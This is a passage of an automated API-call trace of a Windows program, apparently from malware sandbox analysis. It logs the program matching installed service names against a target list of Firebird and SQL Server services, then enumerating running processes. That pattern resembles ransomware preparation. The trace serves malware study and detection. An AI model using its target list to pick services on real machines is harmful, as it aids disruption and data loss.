lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0066.900] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0066.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0066.900] lstrlenW (lpString="gpsvc") returned 5 [0066.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0066.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0066.900] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0066.900] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0066.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0066.900] lstrlenW (lpString="iphlpsvc") returned 8 [0066.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0066.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0066.901] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0066.901] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0066.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0066.901] lstrlenW (lpString="KeyIso") returned 6 [0066.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0066.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0066.901] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0066.901] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0066.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0066.901] lstrlenW (lpString="LanmanServer") returned 12 [0066.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0066.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0066.901] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0066.901] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0066.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0066.901] lstrlenW (lpString="LanmanWorkstation") returned 17 [0066.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0066.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0066.901] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0066.901] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0066.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0066.901] lstrlenW (lpString="lfsvc") returned 5 [0066.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0066.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0066.901] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0066.901] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0066.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0066.901] lstrlenW (lpString="lmhosts") returned 7 [0066.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0066.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0066.901] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0066.901] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0066.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0066.901] lstrlenW (lpString="LSM") returned 3 [0066.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0066.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0066.902] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0066.902] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0066.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0066.902] lstrlenW (lpString="MapsBroker") returned 10 [0066.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0066.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0066.902] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0066.902] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0066.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0066.902] lstrlenW (lpString="MpsSvc") returned 6 [0066.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0066.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0066.902] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0066.902] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0066.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0066.902] lstrlenW (lpString="NcbService") returned 10 [0066.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0066.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0066.902] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0066.902] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0066.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0066.902] lstrlenW (lpString="netprofm") returned 8 [0066.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0066.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0066.902] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0066.902] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0066.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0066.902] lstrlenW (lpString="NlaSvc") returned 6 [0066.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0066.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0066.902] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0066.902] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0066.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0066.903] lstrlenW (lpString="nsi") returned 3 [0066.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0066.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0066.903] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0066.903] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0066.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0066.903] lstrlenW (lpString="PcaSvc") returned 6 [0066.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0066.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0066.903] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0066.903] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0066.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0066.903] lstrlenW (lpString="PlugPlay") returned 8 [0066.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0066.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0066.903] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0066.903] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0066.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0066.903] lstrlenW (lpString="Power") returned 5 [0066.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0066.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0066.903] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0066.903] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0066.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0066.903] lstrlenW (lpString="ProfSvc") returned 7 [0066.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0066.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0066.903] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0066.903] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0066.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0066.903] lstrlenW (lpString="RpcEptMapper") returned 12 [0066.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0066.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0066.903] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0066.904] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0066.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0066.904] lstrlenW (lpString="RpcSs") returned 5 [0066.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0066.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0066.904] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0066.904] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0066.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0066.904] lstrlenW (lpString="SamSs") returned 5 [0066.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0066.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0066.904] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0066.904] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0066.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0066.904] lstrlenW (lpString="Schedule") returned 8 [0066.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0066.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0066.904] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0066.904] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0066.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0066.904] lstrlenW (lpString="SecurityHealthService") returned 21 [0066.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0066.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0066.904] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0066.904] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0066.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0066.904] lstrlenW (lpString="SENS") returned 4 [0066.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0066.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0066.904] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0066.904] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0066.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0066.904] lstrlenW (lpString="ShellHWDetection") returned 16 [0066.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0066.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0066.905] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0066.905] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0066.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0066.905] lstrlenW (lpString="Spooler") returned 7 [0066.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0066.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0066.905] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0066.905] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0066.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0066.905] lstrlenW (lpString="SSDPSRV") returned 7 [0066.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0066.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0066.905] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0066.905] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0066.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0066.905] lstrlenW (lpString="StateRepository") returned 15 [0066.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0066.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0066.905] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0066.905] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0066.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0066.905] lstrlenW (lpString="SysMain") returned 7 [0066.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0066.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0066.939] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0066.940] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0066.940] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x3d01278 | out: hHeap=0x690000) returned 1 [0066.940] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320 [0066.943] Process32FirstW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0066.944] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0066.945] lstrlenW (lpString="System") returned 6 [0066.945] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0066.945] lstrlenW (lpString="smss.exe") returned 8 [0066.945] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0066.946] lstrlenW (lpString="csrss.exe") returned 9 [0066.946] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0066.947] lstrlenW (lpString="wininit.exe") returned 11 [0066.947] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0066.947] lstrlenW (lpString="csrss.exe") returned 9 [0066.947] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0066.948] lstrlenW (lpString="winlogon.exe") returned 12 [0066.948] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0066.949] lstrlenW (lpString="services.exe") returned 12 [0066.949] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0066.950] lstrlenW (lpString="lsass.exe") returned 9 [0066.950] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.950] lstrlenW (lpString="svchost.exe") returned 11 [0066.950] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0066.951] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0066.951] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0066.952] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0066.952] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.952] lstrlenW (lpString="svchost.exe") returned 11 [0066.952] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0066.953] lstrlenW (lpString="dwm.exe") returned 7 [0066.953] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.954] lstrlenW (lpString="svchost.exe") returned 11 [0066.954] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.954] lstrlenW (lpString="svchost.exe") returned 11 [0066.954] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.955] lstrlenW (lpString="svchost.exe") returned 11 [0066.955] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.956] lstrlenW (lpString="svchost.exe") returned 11 [0066.956] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.958] lstrlenW (lpString="svchost.exe") returned 11 [0066.958] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.958] lstrlenW (lpString="svchost.exe") returned 11 [0066.958] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.959] lstrlenW (lpString="svchost.exe") returned 11 [0066.959] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.960] lstrlenW (lpString="svchost.exe") returned 11 [0066.960] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.960] lstrlenW (lpString="svchost.exe") returned 11 [0066.960] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0066.961] lstrlenW (lpString="spoolsv.exe") returned 11 [0066.961] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.962] lstrlenW (lpString="svchost.exe") returned 11 [0066.962] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.963] lstrlenW (lpString="svchost.exe") returned 11 [0066.963] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0066.963] lstrlenW (lpString="audiodg.exe") returned 11 [0066.963] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0066.964] lstrlenW (lpString="sihost.exe") returned 10 [0066.964] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.965] lstrlenW (lpString="svchost.exe") returned 11 [0066.965] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0066.965] lstrlenW (lpString="taskhostw.exe") returned 13 [0066.965] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0066.966] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0066.966] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0066.967] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0066.967] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0066.967] lstrlenW (lpString="explorer.exe") returned 12 [0066.968] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0066.968] lstrlenW (lpString="Memory Compression") returned 18 [0066.968] Process32NextW (in: hSnapshot=0x320, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, 